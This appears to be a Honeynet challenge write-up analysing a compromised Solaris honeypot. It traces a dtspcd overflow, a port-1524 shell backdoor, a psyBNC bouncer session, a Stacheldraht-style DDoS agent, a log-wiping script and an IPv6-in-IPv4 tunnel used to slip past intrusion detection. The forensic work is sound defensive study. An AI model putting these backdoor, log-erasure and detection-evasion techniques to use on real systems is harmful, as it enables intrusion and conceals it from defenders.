<heavy snipping>
[1;37m*[0;37m psyBNC has now been configured on port 7000 (default) with no IDENT
[1;37m*[0;37m erasing rootkit...
./setup: test: unknown operator 16
# ./startbnc
.-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-.
,----.,----.,-. ,-.,---.,--. ,-.,----.
| O || ,-' \ \/ / | o || \| || ,--'
| _/ _\ \ \ / | o< | |\ || |__
|_| |____/ |__| |___||_| \_| \___|
Version 2.2.1 (c) 1999-2000
the most psychoid
and the cool lam3rz Group IRCnet
`-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=tCl=-'
PsyBNC (from a quick Google search) is found to be an IRC Bouncer. Like any IRC bouncer, it hides the
source IP of the IRC client/user, and more specifically, it allows persistent connections to the IRC
server even when the IRC client disconnects - this allows the IRC user to maintain a NICK/Operator-status
on an IRC channel without having to be 'logged-on' at all times.
# ./solbnc
# ./dlp
"strings solbnc | grep skillz" gives 1 hit. Then comparing strings output with one from [3]
below for the agent "td", we see some strong correlation. We conclude that "solbnc" is a Stacheldraht
style DDoS agent. (Why that name though, solbnc?).
"dlp" just deletes some logs and kills inetd. So 1524 wont be accessible anymore as a /bin/sh backdoor
to others.
So we have a successful compromise detection, and have confirmed all the leads so far. The only unexplained
lead at this point is the external IRC (botnet?) connection attempts (port 6667 and 5555) from lead #1.
Do explain these outbound IRC connections, we quickly check the session(s) immediately preceding the first
outbound connection attempt from the honeypot to port 6667. We find that the honeynet has a session on
its port 7000 installed in the above compromise! We use Ethereal's "Follow this TCP Stream" to analyze this
session:
PASS fargetta
:Welcome!psyBNC@lam3rz.de NOTICE * :psyBNC2.2.1
NICK Dj`bobz`
<snipped>
ADDSERVER irc.stealth.net:6667
:-psyBNC!psyBNC@lam3rz.de NOTICE Dj`bobz` :Server irc.stealth.net port 6667 (password: None) added.
:-psyBNC!psyBNC@lam3rz.de NOTICE Dj`bobz` :Fri Nov 29 10:06:46 :User ahaa () trying irc.stealth.net port 6667 ().
:-psyBNC!psyBNC@lam3rz.de NOTICE Dj`bobz` :Fri Nov 29 10:06:49 :User ahaa () connected to irc.stealth.net:6667 ()
SETAWAYNICK Dj`bobz`
:-psyBNC!psyBNC@lam3rz.de NOTICE Dj`bobz` :AWAY-Nick changed to 'Dj`bobz`'.
:-psyBNC!psyBNC@lam3rz.de NOTICE Dj`bobz` :Fri Nov 29 10:07:36 :User ahaa () got disconnected (from irc.stealth.net)
Reason: Closing Link: Dj`bobz`[unknown@
192.168.100.28] (Too many host connections (global))
<snipped>
DELSERVER 1
:-psyBNC!psyBNC@lam3rz.de NOTICE Dj`bobz` :Server 1 deleted.
ADDSERVER irc.stealth.net:5555
:-psyBNC!psyBNC@lam3rz.de NOTICE Dj`bobz` :Server irc.stealth.net port 5555 (password: None) added.
<snipped>
:-psyBNC!psyBNC@lam3rz.de NOTICE Dj`bobz` :Fri Nov 29 10:13:30 :User ahaa () connected to irc.stealth.net:5555 ()
:irc-1.stealth.net 001 Dj`bobz` :Welcome to the Internet Relay Network Dj`bobz`!-ahaa@host44-14.pool80117.interbusiness.it
:irc-1.stealth.net 002 Dj`bobz` :Your host is irc-1.stealth.net, running version 2.10.3p3/S02.3
:irc-1.stealth.net 003 Dj`bobz` :This server was created Fri Dec 28 2001 at 06:24:19 EST
:irc-1.stealth.net 004 Dj`bobz` irc-1.stealth.net 2.10.3p3/S02.3 acoOirw abeiIklmnoOpqrstv
:irc-1.stealth.net 251 Dj`bobz` :There are 118088 users and 6 services on 45 servers
:irc-1.stealth.net 252 Dj`bobz` 173 :operators online
:irc-1.stealth.net 253 Dj`bobz` 85 :unknown connections
:irc-1.stealth.net 254 Dj`bobz` 55070 :channels formed
:irc-1.stealth.net 255 Dj`bobz` :I have 4175 users, 0 services and 1 servers
:irc-1.stealth.net 484 Dj`bobz` :Your connection is restricted!
:Dj`bobz` MODE Dj`bobz` :+r
:Dj`bobz` MODE Dj`bobz` :+i
JOIN #agropoli2 berlin
:Dj`bobz`!-ahaa@zoberius.example.net.mx JOIN :#agropoli2
MODE #agropoli2
:irc-1.stealth.net 332 Dj`bobz` #agropoli2 :CHI OPPA LO UCCIDO
:irc-1.stealth.net 333 Dj`bobz` #agropoli2 Legione`!fid3l@dialup-69.dncsi.net 1038563659
:irc-1.stealth.net 353 Dj`bobz` @ #agropoli2 :Dj`bobz` Maxpowe`R @P|aty +JObSpaInt @bobz-OwNz @bobz-v6- @bobzT0rNa
:irc-1.stealth.net 366 Dj`bobz` #agropoli2 :End of NAMES list.
who #agropoli2
:irc-1.stealth.net 352 Dj`bobz` #agropoli2 -ahaa zoberius.example.net.mx irc-1.stealth.net Dj`bobz` H :0 nZ
:irc-1.stealth.net 352 Dj`bobz` #agropoli2 ~MaxpoweR host66-170.pool80181.interbusiness.it *.tin.it Maxpowe`R H :5
` La FriendZ ` :::..
:irc-1.stealth.net 352 Dj`bobz` #agropoli2 PoKiSsImA 62.211.227.102 *.tin.it P|aty H@ :5 ..:: BeOnS GrOuP .:. Fri�dZ ::..
<snipped>
SETLEAVEMSG ^B^C4^_MiXer^_^B^C
:-psyBNC!psyBNC@lam3rz.de NOTICE Dj`bobz` :LEAVE Messages changed to '^B^C4^_MiXer^_^B^C'.
:-psyBNC!psyBNC@lam3rz.de NOTICE Dj`bobz` :AWAY changed to '^B^C4^_MiXer^_^B^C'.
AIDLE 1
:-psyBNC!psyBNC@lam3rz.de NOTICE Dj`bobz` :AIDLE enabled.
QUIT :^B-:OwNz:-^B
:-psyBNC!psyBNC@lam3rz.de NOTICE Dj`bobz` :User ahaa quitted (from host44-14.pool80117.interbusiness.it)
The 'ADDSERVER' commands explain the outbound IRC server connections from the honeypot! The attacker (same one,
since he/she logs-in using password on the IRC server (actually a bouncer/proxy server on 7000, and uses
'bobz' as NICK) adds irc.stealth.net to the list of IRC servers on the port 7000 bouncer. Again note, the .it
domain in the IRC welcome message - it again implies that the attacker is Italian.
Day 1 Questions:
1. What is the OS of the honeypot? How did you determine that?
A. From the port 1524 session analyzed above, from the output of "uname
-a", we find the system info is "SunOS zoberius 5.8 Generic_108528-09
sun4u sparc SUNW,Ultra-5_10"
2. How did the attacker(s) break into the system?
A. It was a buffer-overflow vulnerability in the "dtspcd" service on
TCP port 6112 which was exploited to launch a /bin/sh backdoor on TCP
port 1524 using the inetd
daemon.
3. What systems were used during the attack, and how?
4. Create a diagram that demonstrates the sequences involved in the
attack.
A. Please refer to the above analysis and the following diagrams for
answers to these questsions: Day 1 Activity
, Day 3 Activity .
5. What is the purpose of the ICMP Packets with the word 'skillz' in
them?
A. This is the Stacheldraht DDoS agent's communication protocol with
its masters/handlers. It periodically sends ICMP Echo Reply packets with
the word 'skillz'
in them to a list of handler/master host IPs. More information can
be found in reference [3] below.
Day 3 Analysis:
Please refer to this diagram
for the day 3 activity analysis.
Since we already have analyzed a successful compromise on the honeypot
in day 1, what's left for us to analyze is any unusual activity the attackers
involve the honeypot in. This is to use the activity to learn new hacking
methodologies. Since the Challenge mentions a unique protocol being used,
we begin with tethereal's protocol stats:
$ tethereal -n -z io,phs -r src_dump/day3.log
| tail -n 50
<snipped>
===================================================================
Protocol Hierarchy Statistics
Filter: frame
frame
frames:123123 bytes:18041825
eth
frames:123123 bytes:18041825
ip
frames:123123 bytes:18041825
icmp
frames:7592 bytes:5692820
udp
frames:3896 bytes:2660510
dns
frames:1573 bytes:245372
nbns
frames:3 bytes:1250
data
frames:2247 bytes:2395332
rx
frames:3 bytes:3198
ddtp
frames:1 bytes:1066
radius
frames:1 bytes:1066
srvloc
frames:1 bytes:1066
slimp3
frames:1 bytes:1066
dlsw
frames:1 bytes:1066
vines_frp
frames:1 bytes:1066
vines
frames:1 bytes:1066
data
frames:1 bytes:1066
syslog
frames:63 bytes:7896
tcp
frames:105973 bytes:9110417
gryphon
frames:679 bytes:179987
unreassembled
frames:676 bytes:179800
short
frames:3 bytes:187
data
frames:3867 bytes:488232
http
frames:1619 bytes:2447886
unreassembled
frames:276 bytes:16560
ipv6
frames:3343 bytes:438938
frames:4 bytes:424
icmpv6
frames:4 bytes:424
icmpv6
frames:5 bytes:490
tcp
frames:3334 bytes:438024
irc
frames:1765 bytes:290262
===================================================================
There are several protocols displayed here, some wrongly tagged based
on port numbers only. The one ipv6 sub-protocol of ip stands out! It clearly
has been used as a tunneled protocol inside ipv4 packets. The authors have
little experience analyzing ipv6 traffic, let alone ipv6 tunneled inside
ipv4 packets. A little Googling was necessary. [6] & [7] provided some
insight.
We quickly find that two unusual protocol numbers were being used 0,
and 41. The protocol with number 0 is seen to be IPv6 Hop-by-Hop Options,
and seems irrelevant for our analysis. Let's check the other protocol 41,
which from [8], is for IPv6 tunneled inside IPv4 packets.
Using '-z io, users, ip' on tethereal over the protocol 41, we find that
there was just one user-IP pair, and the 'peer' for this honeypot activity
was 163.162.170.173, which is 'Telecom Italia Lab'.
$ host 163.162.170.173
173.170.162.163.in-addr.arpa domain name pointer ts.ipv6.tilab.com.
$ tcpdump -n -nn -r src_dump/day3.log -w src_dump/WeirdProto ip and not
proto 1 and not proto 6 and not proto 17 and not proto 0
$ tcpdump -tt -n -nn -r src_dump/WeirdProto | head -n 1
1038783576.060504 163.162.170.173 > 192.168.100.28: fe80::206:5bff:fe04:5e95
> ff02::1:ff00:5d0f: HBH icmp6: multicast listener report ...
# Now see from ~500 secs prior to the first IPv6-tunneled packet, what
activity the Honeynet was involved in:
$ tcpslice 1038783000.060504 1038784576.060504 -w src_dump/pre_icmp6
src_dump/day3.log
$ tethereal -n -r src_dump/pre_icmp6
...
1673 566.501738 192.168.100.28 -> 62.101.108.86 TCP 5001 >
52124 [PSH, ACK] Seq=6647790 Ack=812394420 Win=24616 Len=20
1674 566.701724 62.101.108.86 -> 192.168.100.28 TCP 52124 > 5001
[ACK] Seq=812394420 Ack=6647810 Win=10720 Len=0
1675 567.111696 62.211.66.55 -> 192.168.100.28 HTTP Continuation
1676 567.111696 62.211.66.55 -> 192.168.100.28 HTTP Continuation
1677 567.111696 192.168.100.28 -> 62.211.66.55 TCP 32806 > 80 [ACK]
Seq=216576479 Ack=3866497953 Win=24820 Len=0
1678 567.131695 192.168.100.28 -> 62.101.108.86 TCP 5001 > 52124
[PSH, ACK] Seq=6647810 Ack=812394420 Win=24616 Len=20
1679 567.331682 62.101.108.86 -> 192.168.100.28 TCP 52124 > 5001
[ACK] Seq=812394420 Ack=6647830 Win=10720 Len=0
1680 567.521669 fe80::206:5bff:fe04:5e95 -> ff02::1:ff00:5d0f ICMPv6
Multicast listener report
1681 567.521669 192.168.100.28 -> 163.162.170.173 ICMP Destination
unreachable
1682 567.531668
:: -> ff02::1:ff00:5d0f ICMPv6 Neighbor solicitation
...
We suspect that the attacker launched this tunneled IRC connect by running
some commands over the SSH session on port 5001. What exact commands were
run can not be known here, but we know that the attacker did download the
'ipv6sun' script over FTP (day 1) which most likely was involved in setting
this up (again, it reads from stdin, which we don't see on the 5001 session).
We also see a new version 2.3.1 of PsyBNC was downloaded on day 3. This one
perhaps supported IPv6 IRC servers.
The honeypot has an IRC session over this TCP-over-IPv6-over-IPv4 tunnel
with port 6667 of an external IRC server. Using 'Follow this TCP Stream'
in Ethereal and checking the NICKs, and channel names seen, we find that
it's the same attacker(s) who control that IRC channel as well ('bobz').
Other notable activities on day 3 were (details not shown for brevity):
- As shown above, on day 1, the Stacheldraht DDoS agent was installed
on the Honeypot and it periodically sent ICMP Echo Replies to handler 61.134.3.11
which didn't reciprocate then. The handler host comes up on day 3 and starts
replying with ICMP Echo Replies with 'ficken' in it (caught by Snort). Snort
also caught the related 'Niggahbitch' ICMP Echo Replies from the same handler.
There was apparently no other command exchange activity between the agent
and the handler apart from these ICMP pings to Ack each others' presence.
- There was a lot of scanning from the Honeypot for different hosts/ports.
- Using argus (with -z switch and grepping for 'sSE') we find that there
were no interesting TCP (over IPv4) sessions - just connects to the 7000/5001
backdoors and to an external IRC server (sessions that were expected).
Day 3 Questions:
6. Following the attack, the attackers enabled an unique
protocol. Can you identify that protocol and why it was used?
A. The attackers used IPv6 tunneled in IPv4 packets. Since most Intrusion
Detection Systems and even network traffic analysis tools have focussed
and have been used for mostly on IPv4 traffic/networks, it wouldn't surprise
us if no IDS detects/decodes this unique protocol as of now. We did find
that both Ethereal and Tcpdump support IPv6 tunneled inside IPv4 packets.
7. Can you identify the nationality of the attacker?
A. He/she/they are Italian. There were several pointers to this in the
analysis so far, including domains .it of external sites the honeypot connected
to, language used in files/sessions etc.
Thanks for a very interesting SOTM challenge!
Bonus Questions:
1. What are the implications of using the unusual IP protocol to the Intrusion
Detection industry?
A.
- Intrusion Detection is a fairly new industry. Commercial and Opensource
IDSes have only recently (last few years) matured in terms of Signature Base,
Protocol Decode Engines, Anomaly Detection, and Correlation.
- Most networks on the Internet today are based almost exclusively on IPv4
suite of protocols. Most vulnerabilities too are thus limited to IPv4 servers.
Naturally, IDSes too have limited their detection capabilities almost exclusively
to the 'regular' IPv4 protocols (TCP/UDP/ICMP etc over IPv4). IPv6 is a fairly
new phenomenon, meaning that few networks today deploy IPv6 protocols in production
use. - IDSs can only analyze protocols they can decode. To minimize Layer
4-7 regular expression searches, ID signatures are getting more and more
protocol dependent. Meaning, the core ID decode engine has to support a particular
protocol for good/any signatures to be written for that protocol. If an IDS
doesn't recognize a protocol/payload structure, signatures become essentially
blind floating string searches if any at all. Its quite like analyzing an
encrypted session.
- Hackers can evade detection by using such covert channels, that are invisible
to IDSs. It should be noted that, the compromise itself might still occur
over a regular IPv4 sub protocol that IDSs do support.
2. What tools exist that can decode this protocol?
A. From this challenge, we found that the following tools could be used
to decode the IPv6 packets tunneled inside IPv4 ones:
- TCPDump: http://www.tcpdump.org/
- Ethereal: http://www.ethereal.com/
- Argus: http://www.qosient.com/argus/
/* Not tested for the support, but claim to have it. */
- Snort IDS: http://lists.insecure.org/lists/focus-ids/2002/Dec/0069.html,
http://www.snort.org
- Bro IDS: http://www.icir.org/vern/bro.html
References:
1. RST or FIN-ACK on Application Crash Discussion
#1, http://groups.google.com/groups?threadm=3B23A32C.8B2A788%40ix.netcom.com
2. RST or FIN-ACK on Application Crash Discussion
#2, http://marc.theaimsgroup.com/?t=102754968200004&r=1&w=2
3. Stacheldraht DDoS Analysis, http://staff.washington.edu/dittrich/misc/stacheldraht.analysis
4. Snort's Sid 480, http://www.snort.org/snort-db/sid.html?sid=480
5. Socks Open-proxy scan, http://help.undernet.org/proxyscan/
6. IPv6 Specification, http://www.faqs.org/rfcs/rfc1883.html
7. Tunneling IPv6 over IPv4 (Transitioning Spec), http://www.faqs.org/rfcs/rfc2893.html
8. IANA Protocol Number Assignation, http://www.iana.org/assignments/protocol-numbers
9. CERT Advisory on Exploitation of Vulnerability in CDE Subprocess Control
Service ('dtspcd') , http://www.cert.org/advisories/CA-2002-01.html
10. Honeynet's Scan of the Month 27, Authors' Entry, http://www.honeynet.org/scans/scan27/sol/mahadik/